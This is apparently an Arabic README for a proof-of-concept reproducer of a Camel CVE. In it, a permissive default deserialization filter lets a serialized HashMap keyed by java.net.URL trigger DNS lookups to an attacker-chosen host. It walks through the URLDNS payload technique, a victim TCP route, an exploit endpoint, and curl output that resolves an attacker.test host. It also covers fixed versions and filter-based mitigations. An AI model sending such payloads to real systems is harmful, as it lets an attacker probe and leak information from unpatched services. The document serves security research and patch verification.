
مُعيد إنتاج لـ CVE-2026-42527 — ObjectInputFilter الافتراضي المتساهل في Apache Camel يقبل java.net.URL، ما يتيح قناة جانبية خارج النطاق تعتمد على DNS
يعرض هذا المشروع ثغرة CVE-2026-42527 في Apache Camel. إن نمط ObjectInputFilter الافتراضي الذي تُصدَّر به عدة مكونات من Camel لفلترة إلغاء التسلسل دفاعًا في العمق —
java.**;javax.**;org.apache.camel.**;!* — يستخدم نمط glob تكراريًا java.** يسمح بـ java.net.URL.
تُجري الدالة java.net.URL.hashCode() تحليلًا لنظام أسماء النطاقات (DNS) لمضيف عنوان URL، لذا فإن إلغاء تسلسل HashMap (أو أي مجموعة تجزئ عناصرها) تحتوي على مفتاح java.net.URL يدفع JVM إلى إصدار استعلام DNS إلى مضيف يتحكم فيه المهاجم أثناء إلغاء التسلسل. ينجح فحص المرشح على مستوى الصنف (الكائن الناتج هو HashMap وهو في القائمة المسموح بها)، لذلك لا شيء يوقفه — وهي قناة جانبية لكشف المعلومات خارج النطاق (وليست RCE).
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-42527.html
أُدخل هذا الخلل عبر سلسلة تقوية إلغاء التسلسل (CAMEL-23297/23319/23321/23322/23324)، التي أضافت المرشح الافتراضي المتساهل كثيرًا. وتعمل CVE-2026-42527 على تشديده.
يستخدم هذا الإثبات المفاهيمي (PoC) camel-mina 4.18.2، حيث يثبّت MinaConverter.toObjectInput المرشح الافتراضي مباشرةً على ObjectInputStream، لذا يكون المرشح هو نقطة التحكم الفاصلة (مقارنة واضحة بين الإصدار المتأثر والمصحح):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
يسمح نمط glob java.** بـ java.net.URL. عند إلغاء تسلسل HashMap<URL, ...>، تُعيد HashMap.readObject() إدراج الإدخال وتحسب hash(key) ← URL.hashCode() ← InetAddress.getByName(host) ← استعلام DNS إلى مضيف المهاجم. يضيف إصلاح 4.18.3 / 4.21.0 قاعدة رفض في البداية:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
الآن يُرفض java.net.URL أثناء إلغاء التسلسل (InvalidClassException: filter status: REJECTED) قبل أن تعمل hashCode() إطلاقًا — لا استعلام DNS.
أعلى تعرض فعلي هو عائلة camel-jms، حيث تستدعي
JmsBinding.extractBodyFromJmsالدالةObjectMessage.getObject()دون شروط عندما تكونmapJmsMessage=true(القيمة الافتراضية). يستخدم هذا الإثبات المفاهيمي camel-mina لأنه مكتفٍ ذاتيًا (بدون وسيط رسائل) ولأن المرشح يقع مباشرةً على التدفق.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
تحلّ java.net.URL.hashCode() اسم المضيف عبر مُحلِّل JVM. لملاحظة هذا البحث بشكل حتمي ودون اتصال، يسجّل التطبيق مزوّدًا مخصصًا java.net.spi.InetAddressResolverProvider (JDK 18+، JEP 418) يسجّل أي اسم مضيف يحتوي على علامة المهاجم ويجيب عنه بعنوان حلقة استرجاع (loopback) وهمي. إن رؤية مضيف المهاجم وهو يصل إلى المُحلِّل هي بعينها تفعيل القناة الجانبية خارج النطاق.
تُبنى الحمولة بالحيلة الكلاسيكية ysoserial URLDNS: يُزرع حقل hashCode المخزّن مؤقتًا لعنوان URL مسبقًا بحيث لا يؤدي إدراجه في الخريطة على جانب الباني إلى حلّ اسم المضيف، ثم يُعاد تعيينه إلى -1 حتى لا يقع البحث إلا عندما يلغي الضحية التسلسل. (--add-opens java.base/java.net يلزم لهذا الانعكاس — وهو تفصيل خاص ببناء الحمولة، لا علاقة له بالثغرة).
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
تعني true أن إلغاء تسلسل HashMap<URL> الخاص بالمهاجم حلّ اسم مضيف المهاجم — وسيرى خادم DNS يتحكم فيه المهاجم هذا الاستعلام.
شغّل التطبيق مع مرشح مشدّد على مستوى JVM بالكامل (وهو مرشح يحترمه toObjectInput ويحاكي إصلاح 4.18.3):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
أي مستهلك في Camel يتأثر بالثغرة ويلغي تسلسل بايتات يتحكم فيها المهاجم تحت المرشح الافتراضي — وأبرزها مستهلك camel-jms/sjms/amqp مع ضبط mapJmsMessage=true، أو مكونات mina/netty/vertx-http/infinispan ومستودعات التجميع — حيث يستطيع المهاجم تسليم HashMap<URL> (أو أي مجموعة تجزئ عناصر من java.net.URL).
deserializationFilter / -Djdk.serialFilter، وبدون قائمة سماح على جانب المزوّد).java.net.URL داخل مجموعة تجزئة في الحمولة. لا حاجة لأي مكتبة أدوات (gadget) — فقط أصناف JDK القياسية.قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372)، التي تغيّر المرشح الافتراضي ليرفض java.net.**.
إلى حين الترقية:
deserializationAllowList/deserializationDenyList، وفي ActiveMQ Classic عبر org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter في نقطة النهاية أو عبر -Djdk.serialFilter على مستوى JVM بالكامل مع رفض صريح:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(أو !java.net.**;java.**;org.apache.camel.**;!* لمكونات مستودعات التجميع، التي تحذف javax.**).أُعدّت أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرّح به فقط، وهي لثغرة مُعلنة للعموم ومُصححة. لا تستخدمها ضد أي أنظمة دون الحصول على إذن صريح.
| الخاصية | القيمة |
|---|
| المكونات | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, ومستودعات التجميع (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| الخلل | المرشح الافتراضي java.**;javax.**;org.apache.camel.**;!* يسمح بـ java.net.URL / java.net.InetAddress |
| CWE | CWE-502 (إلغاء تسلسل غير آمن) يؤدي إلى كشف معلومات خارج النطاق / SSRF أعمى عبر DNS |
| التأثير | استعلامات DNS يمكن للمهاجم ملاحظتها أثناء إلغاء التسلسل (قناة جانبية لتسريب البيانات) |
| الإصدارات المتأثرة | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| الإصدارات المصححة | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| المُبلِّغون | Venkatraman Kumar (Securin) و Yu Bao (PayPal) |